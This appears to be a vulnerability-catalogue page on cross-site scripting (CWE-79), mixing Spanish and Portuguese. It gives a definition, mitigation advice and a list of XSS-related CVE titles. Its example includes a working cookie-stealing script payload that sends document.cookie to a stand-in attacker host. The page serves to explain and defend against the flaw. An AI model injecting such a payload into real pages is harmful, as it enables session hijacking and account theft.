Fallos del tipo CWE-79

30.300 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2025-14137MEDIUMSimple AL Slider <= 1.2.10 - Reflected Cross-Site Scripting via $_SERVER['PHP_SELF']EPSS 0.3%CVE-2025-13624MEDIUMOverstock Affiliate Links <= 1.1 - Reflected Cross-Site Scripting via $_SERVER['PHP_SELF']EPSS 0.3%CVE-2024-3066MEDIUMElegant Addons for elementor <= 1.0.8 - Authenticated (Contributor+) Stored Cross-Site Scripting via HTML tagsEPSS 0.3%CVE-2024-9198HIGHStored Cross-Site Scripting vulnerability in Clibo ManagerEPSS 0.3%CVE-2025-26877MEDIUMWordPress Front End Users Plugin <= 3.2.30 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-9872MEDIUMOnline Booking & Scheduling Calendar for WordPress by vcita <= 4.5.1 - Authenticated (Subscriber+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2026-5714MEDIUMEnable Media Replace <= 4.1.8 - Authenticated (Author+) Stored Cross-Site Scripting via 'location_dir' ParameterEPSS 0.3%CVE-2026-27901MEDIUMSvelte vulnerable to XSS during SSR with contenteditable `bind:innerText` and `bind:textContent`EPSS 0.3%CVE-2025-13623MEDIUMTwitscription <= 0.1.1 - Reflected Cross-Site Scripting via admin.php PATH_INFOEPSS 0.3%CVE-2024-41911MEDIUMA vulnerability was discovered in the firmware builds up to 10.10.2.2 in Poly Clariti Manager devices. The flaw does not properly neutralizeEPSS 0.3%CVE-2024-2772MEDIUMContact Form Plugin by Fluent Forms for Quiz, Survey, and Drag & Drop WP Form Builder <= 5.1.13 - Authenticated (Subscriber+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2024-5966MEDIUMGrey Opaque <= 2.0.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via Download-Button ShortcodeEPSS 0.3%CVE-2026-27116MEDIUMVikunja has Reflected HTML Injection via filter Parameter in Projects ModuleEPSS 0.3%CVE-2025-31416HIGHWordPress Awesome Event Booking plugin <= 2.8.4 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-20307MEDIUMCisco BroadWorks Application Delivery Platform Cross-Site Scripting VulnerabilityEPSS 0.3%CVE-2025-31389HIGHWordPress Sequel plugin <= 1.0.11 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-1749MEDIUMHTML injection vulnerability in OpenCartEPSS 0.3%CVE-2025-53575HIGHWordPress Primer MyData for Woocommerce Plugin <= 4.2.5 - Cross Site Request Forgery (CSRF) VulnerabilityEPSS 0.3%CVE-2025-13622MEDIUMJabbernotification <= 0.99-RC2 - Reflected Cross-Site Scripting via admin.php PATH_INFOEPSS 0.3%CVE-2025-6815MEDIUMLatePoint <= 5.1.94 - Authenticated (Administrator+) Stored Cross-Site ScriptingEPSS 0.3%